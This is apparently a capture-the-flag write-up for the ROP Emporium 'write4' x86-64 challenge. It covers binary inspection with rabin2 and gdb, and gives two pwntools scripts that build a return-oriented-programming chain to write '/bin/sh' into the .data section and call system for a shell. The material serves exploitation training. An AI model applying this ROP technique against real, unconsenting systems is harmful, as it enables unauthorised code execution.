Writeup
Security protections:
$ rabin2 -I write4
arch x86
baddr 0x400000
binsz 7150
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Check shared functions in the binary (PLT):
$ rabin2 -i write4
rabin2 -i write4
[Imports]
Num Vaddr Bind Type Name
1 0x004005d0 GLOBAL FUNC puts
2 0x004005e0 GLOBAL FUNC system
3 0x004005f0 GLOBAL FUNC printf
4 0x00400600 GLOBAL FUNC memset
5 0x00400610 GLOBAL FUNC __libc_start_main
6 0x00400620 GLOBAL FUNC fgets
7 0x00000000 WEAK NOTYPE __gmon_start__
8 0x00400630 GLOBAL FUNC setvbuf
Check strings:
$ rabin2 -z write4
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000008b8 0x004008b8 22 23 (.rodata) ascii write4 by ROP Emporium
001 0x000008cf 0x004008cf 7 8 (.rodata) ascii 64bits\n
002 0x000008d7 0x004008d7 8 9 (.rodata) ascii \nExiting
003 0x000008e0 0x004008e0 40 41 (.rodata) ascii Go ahead and give me the string already!
004 0x0000090c 0x0040090c 7 8 (.rodata) ascii /bin/ls
There aren’t useful strings that we can use to print the flag,
so we need to write /bin/sh somewhere and set the value of rdi
to the address of /bin/sh to call system.
The vulnerability is the same as split so I won’t rewrite the decompiler
of the pwnme functions.
Listing all the functions using gdb we notice that there’s
an interesting function.
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004005a0 _init
0x00000000004005d0 puts@plt
0x00000000004005e0 system@plt
0x00000000004005f0 printf@plt
0x0000000000400600 memset@plt
0x0000000000400610 __libc_start_main@plt
0x0000000000400620 fgets@plt
0x0000000000400630 setvbuf@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 main
0x00000000004007b5 pwnme
0x0000000000400807 usefulFunction
0x0000000000400820 usefulGadgets
0x0000000000400830 __libc_csu_init
0x00000000004008a0 __libc_csu_fini
0x00000000004008a4 _fini
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400820 <+0>: mov QWORD PTR [r14],r15
0x0000000000400823 <+3>: ret
0x0000000000400824 <+4>: nop WORD PTR cs:[rax+rax*1+0x0]
0x000000000040082e <+14>: xchg ax,ax
mov QWORD PTR [r14], r15; ret is an useful gadget because if we set as value
of r14 an rw area, then we can write into it the value of r15.
Check sections of the binary:
$ rabin2 -S write4
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00000238 28 0x00400238 28 -r-- .interp
02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag
03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id
04 0x00000298 48 0x00400298 48 -r-- .gnu.hash
05 0x000002c8 288 0x004002c8 288 -r-- .dynsym
06 0x000003e8 116 0x004003e8 116 -r-- .dynstr
07 0x0000045c 24 0x0040045c 24 -r-- .gnu.version
08 0x00000478 32 0x00400478 32 -r-- .gnu.version_r
09 0x00000498 96 0x00400498 96 -r-- .rela.dyn
10 0x000004f8 168 0x004004f8 168 -r-- .rela.plt
11 0x000005a0 26 0x004005a0 26 -r-x .init
12 0x000005c0 128 0x004005c0 128 -r-x .plt
13 0x00000640 8 0x00400640 8 -r-x .plt.got
14 0x00000650 594 0x00400650 594 -r-x .text
15 0x000008a4 9 0x004008a4 9 -r-x .fini
16 0x000008b0 100 0x004008b0 100 -r-- .rodata
17 0x00000914 68 0x00400914 68 -r-- .eh_frame_hdr
18 0x00000958 308 0x00400958 308 -r-- .eh_frame
19 0x00000e10 8 0x00600e10 8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss
27 0x00001060 52 0x00000000 52 ---- .comment
28 0x00001ae2 268 0x00000000 268 ---- .shstrtab
29 0x00001098 1896 0x00000000 1896 ---- .symtab
30 0x00001800 738 0x00000000 738 ---- .strtab
We can use the .data section because is rw and it is long 16 bytes (we just need 8
bytes to write "/bin/sh\x00".
Using ropper we can find a gadget to pop r14; pop r15; ret. We have everything we need
to code an exploit.
Exploit
#!/usr/bin/env python3
from pwn import context, process, p64, remote, log
class Sender():
def __init__(self, local, debug):
if debug == 'True':
context.log_level = 'debug'
if local == 'local':
self.conn = process('./write4')
else:
self.conn = remote('127.0.0.1', 9999)
chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh' + b'\x00'
mov_addr_r14_r15 = p64(0x0400820)
pop_r14_r15 = p64(0x0400890)
pop_rdi = p64(0x0400893)
payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15
payload += pop_rdi + data
payload += system
snd = Sender('local', False)
log.info(snd.conn.recvuntil('>'))
snd.conn.sendline(payload)
snd.conn.interactive()
with open("out.dat", "wb") as f:
f.write(payload)
Alternative Exploit
#!/usr/bin/env python3
from pwn import *
from ropper import RopperService
options = {'color' : False}
rs = RopperService(options)
rs.addFile('write4')
rs.setArchitectureFor(name='write4', arch='x86_64')
rs.loadGadgetsFor()
for file, gadget in rs.search('pop rdi; ret', name='write4'):
pop_rdi = p64(int(str(gadget).split(':')[0], 16))
for file, gadget in rs.search('pop r14; pop r15; ret', name='write4'):
pop_r14_r15 = p64(int(str(gadget).split(':')[0], 16))
for file, gadget in rs.search('mov [r14], r15; ret', name='write4'):
mov_addr_r14_r15 = p64(int(str(gadget).split(':')[0], 16))
chunk = b'a' * 40
system = p64(0x4005e0)
data = p64(0x0601050)
bin_sh = b'/bin/sh\x00'
payload = chunk
payload += pop_r14_r15 + data + bin_sh
payload += mov_addr_r14_r15
payload += pop_rdi + data
payload += system
conn = remote('127.0.0.1', 9999)
log.info(conn.recvuntil('>'))
log.info(conn.sendline(payload))
conn.interactive()
Flag
ROPE{a_placeholder_32byte_flag!}